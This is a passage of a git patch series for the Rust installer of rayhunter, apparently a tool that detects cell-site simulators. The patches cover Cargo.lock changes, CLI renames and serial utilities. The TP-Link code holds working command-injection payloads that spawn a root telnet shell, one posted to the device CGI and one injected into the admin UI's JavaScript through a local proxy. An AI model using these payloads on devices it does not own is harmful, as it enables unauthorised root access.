"registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" - [[package]] name = "url" version = "2.5.4" @@ -3485,18 +3268,6 @@ version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" -[[package]] -name = "which" -version = "4.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" -dependencies = [ - "either", - "home", - "once_cell", - "rustix", -] - [[package]] name = "widestring" version = "1.2.0" @@ -3882,15 +3653,6 @@ dependencies = [ "tap", ] -[[package]] -name = "yasna" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e17bb3549cc1321ae1296b9cdc2698e2b6cb1992adfa19a8c72e5b7a738f44cd" -dependencies = [ - "time", -] - [[package]] name = "yoke" version = "0.7.5" diff --git a/installer/Cargo.toml b/installer/Cargo.toml index 76b5562e..383714eb 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -7,7 +7,6 @@ edition = "2024" vendor = [] [dependencies] -adb_client = { git = "https://github.com/gaykitty/adb_client.git", branch = "nusb" } # adb_client = { path = "../../adb_client/adb_client" } anyhow = "1.0.98" clap = { version = "4.5.37", features = ["derive"] } @@ -19,3 +18,9 @@ sha2 = "0.10.8" tokio = { version = "1.44.2", features = ["full"] } tokio-retry2 = "0.5.7" tokio-stream = "0.1.17" + +[dependencies.adb_client] +git = "https://github.com/gaykitty/adb_client.git" +branch = "nusb" +default-features = false +features = ["usb"] From dec3c4016fc1966286b61f81fadb609971909e3a Mon Sep 17 00:00:00 2001 From: Sashanoraa Date: Fri, 25 Apr 2025 19:49:25 -0400 Subject: [PATCH 10/14] Switch to read_exact in tp-link telnet_send_command --- installer/src/tplink.rs | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index 701ef588..247b01eb 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -144,9 +144,11 @@ async fn telnet_send_command( let (mut reader, mut writer) = stream.into_split(); loop { - let mut buf = [0]; - reader.read(&mut buf).await?; - if buf[0] == b'#' { + let mut next_byte = 0; + reader + .read_exact(std::slice::from_mut(&mut next_byte)) + .await?; + if next_byte == b'#' { break; } } From 2992f7186a12f46068328fde76556b03f1e23980 Mon Sep 17 00:00:00 2001 From: Sashanoraa Date: Sat, 26 Apr 2025 20:05:08 -0400 Subject: [PATCH 11/14] Remove the "install-*" prefix from the install commands --- installer/src/main.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/installer/src/main.rs b/installer/src/main.rs index 4559fbc3..1a406337 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -17,9 +17,9 @@ struct Args { #[derive(Subcommand, Debug)] enum Command { /// Install rayhunter on the Orbic Orbic RC400L. - InstallOrbic(InstallOrbic), + Orbic(InstallOrbic), /// Install rayhunter on the TP-Link M7350. - InstallTplink(InstallTpLink), + Tplink(InstallTpLink), } #[derive(Parser, Debug)] @@ -41,8 +41,8 @@ async fn run_function() -> Result<(), Error> { let Args { command } = Args::parse(); match command { - Command::InstallTplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, - Command::InstallOrbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?, + Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, + Command::Orbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?, } Ok(()) From 23d2d2dfeb7e979b1e905bc9d455ef62bc0666a1 Mon Sep 17 00:00:00 2001 From: Sashanoraa Date: Sat, 26 Apr 2025 20:57:51 -0400 Subject: [PATCH 12/14] Add serial subcommand to installer --- installer/src/main.rs | 43 +++++++++++++++++++++++++++++++++++++++++- installer/src/orbic.rs | 13 ++++++++----- 2 files changed, 50 insertions(+), 6 deletions(-) diff --git a/installer/src/main.rs b/installer/src/main.rs index 1a406337..285c2ff9 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -1,4 +1,4 @@ -use anyhow::{Context, Error}; +use anyhow::{Context, Error, bail}; use clap::{Parser, Subcommand}; mod orbic; @@ -20,6 +20,8 @@ enum Command { Orbic(InstallOrbic), /// Install rayhunter on the TP-Link M7350. Tplink(InstallTpLink), + /// Developer utilities. + Util(Util), } #[derive(Parser, Debug)] @@ -37,12 +39,51 @@ struct InstallTpLink { #[derive(Parser, Debug)] struct InstallOrbic {} +#[derive(Parser, Debug)] +struct Util { + #[command(subcommand)] + command: UntilSubCommand, +} + +#[derive(Subcommand, Debug)] +enum UntilSubCommand { + /// Send a serial command to the Orbic. + Serial(Serial), +} + +#[derive(Parser, Debug)] +struct Serial { + #[arg(long)] + root: bool, + command: Vec, +} + async fn run_function() -> Result<(), Error> { let Args { command } = Args::parse(); match command { Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, Command::Orbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?, + Command::Util(subcommand) => match subcommand.command { + UntilSubCommand::Serial(serial_cmd) => { + if serial_cmd.root { + if !serial_cmd.command.is_empty() { + eprintln!("You cannot use --root and specify a command at the same time"); + std::process::exit(64); + } + orbic::enable_command_mode()?; + } else if serial_cmd.command.is_empty() { + eprintln!("Command cannot be an empty string"); + std::process::exit(64); + } else { + let cmd = serial_cmd.command.join(" "); + match orbic::open_orbic()? { + Some(interface) => orbic::send_serial_cmd(&interface, &cmd).await?, + None => bail!(orbic::ORBIC_NOT_FOUND), + } + } + } + } } Ok(()) diff --git a/installer/src/orbic.rs b/installer/src/orbic.rs index 33f3db94..55a5c71e 100644 --- a/installer/src/orbic.rs +++ b/installer/src/orbic.rs @@ -13,7 +13,7 @@ use tokio_stream::StreamExt; use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT}; -const ORBIC_NOT_FOUND: &str = r#"No Orbic device found. +pub const ORBIC_NOT_FOUND: &str = r#"No Orbic device found. Make sure your device is plugged in and turned on. If you're sure you've plugged in an Orbic device via USB, there may be a bug in @@ -298,13 +298,16 @@ async fn wait_for_usb_device(vendor_id: u16, product_id: u16) -> Result<()> { } } +async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> { + send_serial_cmd(interface, &format!("AT+SYSCMD={command}")).await +} /// Sends an AT command to the usb device over the serial port /// /// First establish a USB handle and context by calling `open_orbic() -async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> { +pub async fn send_serial_cmd(interface: &Interface, command: &str) -> Result<()> { let mut data = String::new(); data.push_str("\r\n"); - data.push_str(&format!("AT+SYSCMD={command}")); + data.push_str(command); data.push_str("\r\n"); let timeout = Duration::from_secs(2); @@ -357,7 +360,7 @@ async fn at_syscmd(interface: &Interface, command: &str) -> Result<()> { /// Send a command to switch the device into generic mode, exposing serial /// /// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition. -fn enable_command_mode() -> Result<()> { +pub fn enable_command_mode() -> Result<()> { if open_orbic()?.is_some() { println!("Device already in command mode. Doing nothing..."); return Ok(()); @@ -391,7 +394,7 @@ fn enable_command_mode() -> Result<()> { } /// Get an Interface for the orbic device -fn open_orbic() -> Result> { +pub fn open_orbic() -> Result> { // Device after initial mode switch if let Some(device) = open_usb_device(VENDOR_ID, PRODUCT_ID)? { let interface = device From 582d4511aef2ef1b330466a6a457466389e03301 Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Mon, 28 Apr 2025 01:26:56 +0200 Subject: [PATCH 13/14] Add basic installer for TP-Link v5 --- Cargo.lock | 10 +++- installer/Cargo.toml | 4 ++ installer/src/main.rs | 2 +- installer/src/tplink.rs | 128 ++++++++++++++++++++++++++++++++++++---- 4 files changed, 129 insertions(+), 15 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index ebee10c3..f1e6476f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1170,12 +1170,12 @@ dependencies = [ [[package]] name = "http-body-util" -version = "0.1.0" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" dependencies = [ "bytes", - "futures-util", + "futures-core", "http", "http-body", "pin-project-lite", @@ -1491,7 +1491,11 @@ version = "0.1.0" dependencies = [ "adb_client", "anyhow", + "axum", + "bytes", "clap", + "hyper", + "hyper-util", "md5", "nusb", "reqwest", diff --git a/installer/Cargo.toml b/installer/Cargo.toml index 383714eb..ab213802 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -9,7 +9,11 @@ vendor = [] [dependencies] # adb_client = { path = "../../adb_client/adb_client" } anyhow = "1.0.98" +axum = "0.8.3" +bytes = "1.10.1" clap = { version = "4.5.37", features = ["derive"] } +hyper = "1.6.0" +hyper-util = "0.1.11" md5 = "0.7.0" nusb = "0.1.13" reqwest = { version = "0.12.15", features = ["json"], default-features = false } diff --git a/installer/src/main.rs b/installer/src/main.rs index 285c2ff9..bf7b8396 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -62,7 +62,7 @@ async fn run_function() -> Result<(), Error> { let Args { command } = Args::parse(); match command { - Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, + Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?, Command::Orbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?, Command::Util(subcommand) => match subcommand.command { UntilSubCommand::Serial(serial_cmd) => { diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index 247b01eb..c9eedd1e 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -3,6 +3,17 @@ use std::str::FromStr; use std::time::Duration; use anyhow::{Context, Error}; +use axum::{ + Router, + body::{Body, to_bytes}, + extract::{Request, State}, + http::uri::Uri, + response::{IntoResponse, Response}, + routing::any, +}; +use bytes::{Bytes, BytesMut}; +use hyper::StatusCode; +use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; use serde::Deserialize; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::TcpStream; @@ -10,6 +21,8 @@ use tokio::time::{sleep, timeout}; use crate::InstallTpLink; +type HttpProxyClient = hyper_util::client::legacy::Client; + pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { let InstallTpLink { skip_sdcard, @@ -28,33 +41,45 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132 - let RootResponse { result } = client.post(&qcmap_web_cgi_endpoint) + let response = client.post(&qcmap_web_cgi_endpoint) .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#) .send() - .await? - .error_for_status()? - .json() .await?; - if result != 0 { - anyhow::bail!("Bad result code when trying to root device: {result}"); + if response.status() == 404 { + println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit"); + tplink_launch_telnet_v5(admin_ip.clone()).await?; + } else { + let RootResponse { result } = response.error_for_status()?.json().await?; + + if result != 0 { + anyhow::bail!("Bad result code when trying to root device: {result}"); + } + + println!("Detected hardware revision v3"); } + println!("Succeeded in rooting the device!"); + + tplink_run_install(skip_sdcard, admin_ip).await +} + +async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> { println!("Connecting via telnet to {admin_ip}"); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); if !skip_sdcard { println!("Mounting sdcard"); - telnet_send_command(addr, "mount /dev/mmcblk0p1 /mnt/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; + telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; } // there is too little space on the internal flash to store anything, but the initrd script // expects things to be at this location telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; - telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?; - telnet_send_file(addr, "/mnt/card/config.toml", crate::CONFIG_TOML).await?; + telnet_send_file(addr, "/media/card/config.toml", crate::CONFIG_TOML).await?; #[cfg(feature = "vendor")] let rayhunter_daemon_bin = include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon"); @@ -63,7 +88,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { let rayhunter_daemon_bin = &tokio::fs::read("target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon").await?; - telnet_send_file(addr, "/mnt/card/rayhunter-daemon", rayhunter_daemon_bin).await?; + telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?; telnet_send_file( addr, "/etc/init.d/rayhunter_daemon", @@ -73,7 +98,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { telnet_send_command( addr, - "chmod ugo+x /mnt/card/rayhunter-daemon", + "chmod ugo+x /media/card/rayhunter-daemon", "exit code 0", ) .await?; @@ -186,3 +211,84 @@ async fn telnet_send_command( Ok(()) } + +#[derive(Clone)] +struct AppState { + client: HttpProxyClient, + admin_ip: String, +} + +async fn handler(state: State, mut req: Request) -> Result { + let path = req.uri().path(); + let path_query = req + .uri() + .path_and_query() + .map(|v| v.as_str()) + .unwrap_or(path); + + let uri = format!("http://{}{}", state.admin_ip, path_query); + let is_settings_js = path_query == "/js/settings.min.js"; + + *req.uri_mut() = Uri::try_from(uri).unwrap(); + + let mut response = state + .client + .request(req) + .await + .map_err(|_| StatusCode::BAD_REQUEST)? + .into_response(); + + if is_settings_js { + let (parts, body) = response.into_parts(); + let data = to_bytes(body, usize::MAX) + .await + .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; + let mut data = BytesMut::from(data); + // inject some javascript into the admin UI to get us a telnet shell. + data.extend(br#";window.rayhunterPoll = window.setInterval(() => { + Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"}); + alert("Success! You can go back to the rayhunter installer."); + window.clearInterval(window.rayhunterPoll); + }, 1000);"#); + response = Response::from_parts(parts, Body::from(Bytes::from(data))); + response.headers_mut().remove("Content-Length"); + } + + Ok(response) +} + +async fn tplink_launch_telnet_v5(admin_ip: String) -> Result<(), Error> { + let client: HttpProxyClient = + hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new()) + .build(HttpConnector::new()); + + let app = Router::new() + .route("/", any(handler)) + .route("/{*path}", any(handler)) + .with_state(AppState { + client, + admin_ip: admin_ip.clone(), + }); + + let listener = tokio::net::TcpListener::bind("127.0.0.1:4000") + .await + .unwrap(); + + println!("Listening on http://{}", listener.local_addr().unwrap()); + println!("Please open above URL in your browser and log into the router to continue."); + + let handle = tokio::spawn(async move { axum::serve(listener, app).await }); + + let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); + + while telnet_send_command(addr, &format!("true"), "exit code 0") + .await + .is_err() + { + sleep(Duration::from_millis(1000)).await; + } + + handle.abort(); + + Ok(()) +} From ac1531237cbaf619e48e0576795639fbd76c651d Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Mon, 28 Apr 2025 21:07:15 +0200 Subject: [PATCH 14/14] fix clipppy --- installer/src/tplink.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index c9eedd1e..a2aa86fb 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -281,7 +281,7 @@ async fn tplink_launch_telnet_v5(admin_ip: String) -> Result<(), Error> { let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); - while telnet_send_command(addr, &format!("true"), "exit code 0") + while telnet_send_command(addr, "true", "exit code 0") .await .is_err() {